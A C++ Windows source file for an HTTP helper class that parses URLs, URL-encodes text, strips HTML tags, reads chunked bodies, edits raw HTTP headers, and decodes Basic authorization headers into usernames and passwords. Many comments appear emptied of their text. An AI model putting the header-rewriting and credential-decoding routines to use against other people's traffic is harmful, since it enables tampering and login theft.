#include <windows.h>
#include <wininet.h>
#include <shlwapi.h>

#include "httptools.h"

void HttpTools::init(void)
{

}

void HttpTools::uninit(void)
{

}

LPSTR HttpTools::_findValueInUrlEncoded(const void *list, DWORD listSize, const LPSTR varable, LPDWORD valSize)
{
  LPSTR p = (LPSTR)list;
  LPSTR curVar;
  DWORD varableSize = Str::_LengthA(varable);

  while((curVar = Str::_findSubStringA(p, varable)) != NULL)
  {
    // .
    if(curVar[varableSize] == '=' && (curVar == (LPSTR)list || *(curVar - 1) == '&')) 
    {
      LPSTR val    = curVar + varableSize + 1;
      LPSTR valEnd = Str::_findCharA(val, '&');

      *valSize = valEnd == NULL ? Str::_LengthA(val) : (DWORD)(valEnd - val);
      return val;
    }
    p = curVar + varableSize;
  }
  return NULL;
}

bool HttpTools::_parseUrl(const LPSTR url, URLDATA *ud)
{
  URL_COMPONENTSA uc;
  Mem::_zero(&uc, sizeof(URL_COMPONENTSA));

  uc.dwStructSize      = sizeof(URL_COMPONENTSA);
  uc.dwHostNameLength  = 1;
  uc.dwUrlPathLength   = 1;
  uc.dwExtraInfoLength = 1;

  if(CWA(wininet, InternetCrackUrlA)(url, 0, 0, &uc) == FALSE)
  {
    return false;
  }
  
  Mem::_zero(ud, sizeof(URLDATA));

  //.
  if((ud->host = Str::_CopyExA(uc.lpszHostName, uc.dwHostNameLength)) == NULL)
  {
    return false;
  }

  //URI.
  {
    // '/'.  , ..  MSDN      
    // .
    while(uc.dwUrlPathLength > 0 && *uc.lpszUrlPath == '/')
    {
      uc.dwUrlPathLength--;
      uc.lpszUrlPath++;
    }
    
    DWORD fullSize = 1 + uc.dwUrlPathLength + uc.dwExtraInfoLength;
    if((ud->uri = (LPSTR)Mem::alloc((fullSize + 1) * sizeof(char))) == NULL)
    {
      Mem::free(ud->host);
      return false;
    }

    Mem::_copy(ud->uri + 1, uc.lpszUrlPath, uc.dwUrlPathLength);
    Mem::_copy(ud->uri + 1 + uc.dwUrlPathLength, uc.lpszExtraInfo, uc.dwExtraInfoLength);

    ud->uri[0]         = '/';
    ud->uri[fullSize]  = 0;
    ud->uriExtraOffset = 1 + uc.dwUrlPathLength;
  }

  //.
  ud->port = uc.nPort;

  //
  switch(uc.nScheme)
  {
    case INTERNET_SCHEME_HTTP:  ud->scheme = UDS_HTTP; break;
    case INTERNET_SCHEME_HTTPS: ud->scheme = UDS_HTTPS; break;
    default:                    ud->scheme = UDS_UNKNOWN;
  }

  return true;
}

void HttpTools::_freeUrlData(URLDATA *ud)
{
  Mem::free(ud->host);
  Mem::free(ud->uri);
}

LPWSTR HttpTools::_getFileNameFromUrl(const LPSTR url)
{
  LPWSTR retVal = NULL;
  URLDATA ud;
  
  if(_parseUrl(url, &ud))
  {
    //  .
    ud.uri[ud.uriExtraOffset] = 0;
    
    LPSTR fileName = Str::_findRCharA(ud.uri, '/');
    if(fileName != NULL && fileName[1] != 0)
    {
      if((fileName = Str::_CopyExA(fileName, -1)) != NULL)
      {
        if(CWA(shlwapi, UrlUnescapeA)(fileName, NULL, NULL, URL_UNESCAPE_INPLACE) == S_OK)
        {
          retVal = Str::_utf8ToUnicode(fileName, -1);
        }
        Mem::free(fileName);
      }
    }
    _freeUrlData(&ud);
  }
  return retVal;
}

bool HttpTools::_compareTagNameA(const LPSTR tag, DWORD tagSize, const LPSTR string)
{
  LPSTR pos = string;
  if(*pos == '<')pos++;
  if(*pos == '/')pos++;

  if(CWA(shlwapi, StrCmpNIA)(pos, tag, tagSize) == 0)
  {
    BYTE c = *(pos + tagSize);
    if(c == 0 || IS_SPACE_CHAR(c) || c == '>' || c == '/')return true;
  }
  return false;
}

#define TAG_SCRIPT           "script"
#define TAG_SCRIPT_SIZE      (sizeof(TAG_SCRIPT) - 1)
#define SYMB_SPACE           "nbsp;"
#define SYMB_SPACE_SIZE      (sizeof(SYMB_SPACE) - 1)

//FIXME:  .
DWORD HttpTools::_removeTagsA(LPSTR string, DWORD size)
{
  static const LPSTR tags[]       = {"br", "hr", "tr", "td", "div", "h1", "h2", "h3", "h4", "h5", "h6", "li"};
  static const BYTE  tags_size[]  = {2,    2,    2 ,   2   , 3    , 2   , 2   , 2   , 2   , 2   , 2   , 2};
  static const BYTE  tags_chars[] = {'\n', '\n', '\n', ' ' , '\n' , '\n', '\n', '\n', '\n', '\n', '\n', '\n'};

  int level       = 0;
  bool isScript   = false;
  DWORD oldOffset = 0;
  DWORD newOffset = 0;

  while(oldOffset < size)
  {
    if(level && string[oldOffset] == '>')level--;
    else if(string[oldOffset] == '<')
    {
      if(level++ == 0)
      {
        DWORD curSize = size - oldOffset;
        LPSTR curPos  = string + oldOffset + 1;

        //  /script
        if(isScript)
        {
          //FIXME:       "</script>",   .
          if(curSize > TAG_SCRIPT_SIZE + 1 && *curPos == '/' && _compareTagNameA(TAG_SCRIPT, TAG_SCRIPT_SIZE, curPos + 1))isScript = false;
        }
        else
        {
          if(curSize > TAG_SCRIPT_SIZE && _compareTagNameA(TAG_SCRIPT, TAG_SCRIPT_SIZE, curPos))isScript = true;
          else for(BYTE k = 0; k < sizeof(tags) / sizeof(LPSTR); k++)
          {
            BYTE cts = tags_size[k];
            if(curSize > cts && _compareTagNameA(tags[k], cts, curPos))
            {
              curPos += cts;
              string[newOffset++] = tags_chars[k];
              break;
            }
          }
        }
      }
    }
    else if(!level && !isScript && string[oldOffset] != '\r' && string[oldOffset] != '\n' && string[oldOffset] != '\t')
    {
      if(string[oldOffset] == '&' && (size - oldOffset) > SYMB_SPACE_SIZE &&  CWA(shlwapi, StrCmpNIA)(string + oldOffset + 1, SYMB_SPACE, SYMB_SPACE_SIZE) == 0)
      {
        string[newOffset] = ' ';
        oldOffset += SYMB_SPACE_SIZE;
      }
      else string[newOffset] = string[oldOffset];
      
      //FIXME:      .
      newOffset++;
    }
    oldOffset++;
  }

  return size - (oldOffset - newOffset);
}

DWORD HttpTools::_urlEncodeA(LPSTR input, DWORD inputSize, LPSTR output)
{
  DWORD x = 0, y = 0;
  BYTE c;
  for(; x < inputSize; x++, y++)
  {
    c = input[x];
    if(c == ' ')output[y] = '+';
    else if((c < '0' && c != '-' && c != '.') || (c < 'A' && c > '9') || (c > 'Z' && c < 'a' && c != '_') || (c > 'z'))
    {
      output[y++] = '%';
      Str::_byteToCharA(c, output + y);
      y++;
    }
    else output[y] = c;
  }
  output[y] = 0;
  return y;
}

DWORD HttpTools::_urlEncodeW(LPWSTR input, DWORD inputSize, LPWSTR output)
{
  DWORD x = 0, y = 0;
  BYTE c;
  for(; x < inputSize; x++, y++)
  {
    c = input[x];
    if(c == ' ')output[y] = '+';
    else if((c < '0' && c != '-' && c != '.') || (c < 'A' && c > '9') || (c > 'Z' && c < 'a' && c != '_') || (c > 'z'))
    {
      output[y++] = '%';
      Str::_byteToCharW(c, output + y);
      y++;
    }
    else output[y] = c;
  }
  output[y] = 0;
  return y;
}

LPSTR HttpTools::_urlEncodeExA(LPSTR input, DWORD inputSize)
{
  LPSTR newString = (LPSTR)Mem::alloc((inputSize * 3 + 1) * sizeof(char));
  if(newString != NULL)
  {
    _urlEncodeA(input, inputSize, newString);
    return newString;
  }
  return NULL;
}

LPWSTR HttpTools::_urlEncodeExW(LPWSTR input, DWORD inputSize)
{
  LPWSTR newString = (LPWSTR)Mem::alloc((inputSize * 3 + 1) * sizeof(WCHAR));
  if(newString != NULL)
  {
    _urlEncodeW(input, inputSize, newString);
    return newString;
  }
  return NULL;
}

LPSTR HttpTools::_getMimeHeader(const void *mimeData, DWORD mimeSize, const LPSTR header, SIZE_T *size)
{
  SIZE_T headerSize = ((DWORD_PTR)header > GMH_COUNT ? Str::_LengthA(header) : 0);
  LPSTR data        = (LPSTR)mimeData;
  LPSTR dataEnd     = data + mimeSize;

  *size = 0;

  while(data < dataEnd)
  {
    LPSTR cur      = data;
    SIZE_T curSize = Str::_getCurrentStringSizeA(data, dataEnd, &data);

    //  .
    if(curSize == 0)
    {
      if((DWORD_PTR)header == GMH_DATA)
      {
        *size = (SIZE_T)(dataEnd - data);
        return data;
      }
      return NULL; //     .
    }

    //        .
    if(cur == (LPSTR)mimeData && ((DWORD_PTR)header == GMH_HTTP_METHOD || (DWORD_PTR)header == GMH_HTTP_URI || (DWORD_PTR)header == GMH_REQUEST_HTTP_VERSION))
    {
      //  .
      LPSTR spaces[2];
      DWORD count = 0;

      dataEnd = cur + curSize;
      for(LPSTR p = cur; p < dataEnd; p++)if(IS_SPACE_CHAR(*p))
      {
        if(count < 2)spaces[count] = p;
        count++;
      }

      if(count == 2)
      {
        if((DWORD_PTR)header == GMH_HTTP_METHOD)dataEnd = spaces[0];
        else if((DWORD_PTR)header == GMH_HTTP_URI){cur = spaces[0] + 1; dataEnd = spaces[1];}
        else if((DWORD_PTR)header == GMH_REQUEST_HTTP_VERSION)cur = spaces[1] + 1;

        *size = (SIZE_T)(dataEnd - cur);
        return cur;
      }
      return NULL;
    }
    else if(curSize > headerSize && CWA(shlwapi, StrCmpNIA)(header, cur, headerSize) == 0 && cur[headerSize] == ':')
    {
      dataEnd = cur + curSize;
      cur     = cur + headerSize + 1;

      while(IS_SPACE_CHAR(*cur))cur++;
      *size = (SIZE_T)(dataEnd - cur);
      return cur;
    }
  }
  return NULL;
}

DWORD HttpTools::_removeMimeHeader(void *mimeData, DWORD mimeSize, const LPSTR header)
{
  SIZE_T headerSize = Str::_LengthA(header);
  LPSTR data        = (LPSTR)mimeData;
  LPSTR dataEnd     = data + mimeSize;

  while(data < dataEnd)
  {
    LPSTR cur      = data;
    SIZE_T curSize = Str::_getCurrentStringSizeA(data, dataEnd, &data);

    //     .
    if(curSize == 0)break;

    if(curSize > headerSize && CWA(shlwapi, StrCmpNIA)(header, cur, headerSize) == 0 && cur[headerSize] == ':')
    {
      curSize = (SIZE_T)(data - cur);
      Mem::_copy(cur, cur + curSize, (DWORD)(dataEnd - data));

      mimeSize -= curSize;
      dataEnd  -= curSize;
      data      = cur;
    }
  }
  return mimeSize;
}

DWORD HttpTools::_modifyMimeHeader(void *mimeData, DWORD mimeSize, const LPSTR header, const LPSTR context)
{
  SIZE_T contextSize = Str::_LengthA(context);
  SIZE_T headerSize  = Str::_LengthA(header);
  LPSTR data         = (LPSTR)mimeData;
  LPSTR dataEnd      = data + mimeSize;

  while(data < dataEnd)
  {
    LPSTR cur      = data;
    SIZE_T curSize = Str::_getCurrentStringSizeA(data, dataEnd, &data);

    //     .
    if(curSize == 0)break;

    if(curSize > headerSize && CWA(shlwapi, StrCmpNIA)(header, cur, headerSize) == 0 && cur[headerSize] == ':')
    {
      SIZE_T postfixSize = (SIZE_T)(dataEnd - data);
      LPSTR tmpBuf; //FIXME:   ,  .
       
      if(postfixSize > 0 && (tmpBuf = (LPSTR)Mem::copyEx(data, postfixSize)) == NULL)continue;

      curSize = headerSize + 1; // ':'.
      if(contextSize > 0)
      {
        cur[curSize++] = ' ';
        Mem::_copy(cur + curSize, context, contextSize);
        curSize += contextSize;
      }
      
      //  RFC,    \n  .
      cur[curSize++] = '\r';
      cur[curSize++] = '\n';
      
      if(postfixSize > 0)
      {
        Mem::_copy(cur + curSize, tmpBuf, postfixSize);
        Mem::free(tmpBuf);
      }

      mimeSize = (SIZE_T)(cur - (LPSTR)mimeData) + curSize + postfixSize;
      dataEnd  = (LPSTR)mimeData + mimeSize;
      data      = cur + curSize;
    }
  }
  return mimeSize;
}

/*
  Chunk format (simplified):
 
  <HEX SIZE>[ chunk extension ] CRLF
  <DATA> CRLF

  The chunked encoding modifies the body of a message in order to
  transfer it as a series of chunks, each with its own size indicator,
  followed by an OPTIONAL trailer containing entity-header fields. This
  allows dynamically produced content to be transferred along with the
  information necessary for the recipient to verify that it has
  received the full message.

      Chunked-Body   = *chunk
                       last-chunk
                       trailer
                       CRLF

      chunk          = chunk-size [ chunk-extension ] CRLF
                       chunk-data CRLF
      chunk-size     = 1*HEX
      last-chunk     = 1*("0") [ chunk-extension ] CRLF

      chunk-extension= *( ";" chunk-ext-name [ "=" chunk-ext-val ] )
      chunk-ext-name = token
      chunk-ext-val  = token | quoted-string
      chunk-data     = chunk-size(OCTET)
      trailer        = *(entity-header CRLF)

  The chunk-size field is a string of hex digits indicating the size of
  the chunk. The chunked encoding is ended by any chunk whose size is
  zero, followed by the trailer, which is terminated by an empty line.
*/
void *HttpTools::_readChunkedData(const void *data, DWORD dataSize, void **chunkedData, LPDWORD chunkedDataSize)
{
  LPSTR p   = (LPSTR)data;
  LPSTR end = p + dataSize;

  //.
  if(Str::_getCurrentStringSizeA(p, end, (LPSTR *)chunkedData) > 0) //FIXME:   \r\n
  {    
    *chunkedDataSize = Str::_hexStringToDwordA(p); //,       0-F.
    
    p = ((LPSTR)*chunkedData) + *chunkedDataSize;
    
    if(p < end)
    {
      if(p[0] == '\n')return (p + 1);
      if(p + 1 < end && p[0] == '\r' && p[1] == '\n')return (p + 2);
    }    

    *chunkedData = NULL;
    return p;
  }
  return NULL;
}

LPSTR HttpTools::_catExtraInfoFromUrlToUrlA(const LPSTR source, const LPSTR dest)
{
  int destSize   = Str::_LengthA(dest);
  int sourceSize = Str::_LengthA(source);

  if(destSize > 0 && sourceSize > 0)
  {
    LPSTR sourceInfo = Str::_findCharA(source, '?');
    if(sourceInfo != NULL)
    {
      int sourceInfoSize = Str::_LengthA(++sourceInfo);

      LPSTR p = (LPSTR)Mem::alloc((destSize + sourceInfoSize + 2/*?(&) + \0*/) * sizeof(char));
      if(p != NULL)
      {
        Mem::_copy(p, dest, destSize);
        p[destSize++] = (Str::_findCharA(dest, '?') == NULL ? '?' : '&');
        Str::_CopyA(p + destSize, sourceInfo, sourceInfoSize);
        return p;
      }
    }
  }
  return Str::_CopyExA(dest, destSize);
}

bool HttpTools::_parseAuthorization(const LPSTR source, DWORD sourceSize, LPWSTR *userName, LPWSTR *password)
{
  bool retVal = false;

  //Basic
  if(sourceSize > 6 && Str::_CompareA("Basic ", source, 6, 6) == 0)
  {
    LPSTR p = (LPSTR)source + 6;
    while(IS_SPACE_CHAR(*p))p++; //  .  100%   .

    LPSTR decoded;
    SIZE_T decodedSize;
    if((decoded = (LPSTR)Crypt::_base64Decode(p, (SIZE_T)(source + sourceSize - p), &decodedSize)) != NULL)
    {
      if((p = Str::_findCharA(decoded, ':')) != NULL)
      {
        *userName = Str::_utf8ToUnicode(decoded, p - decoded);
        *password = Str::_utf8ToUnicode(p + 1, -1);
        retVal = true;
      }
      Mem::free(decoded);
    }
  }

  return retVal; 
}
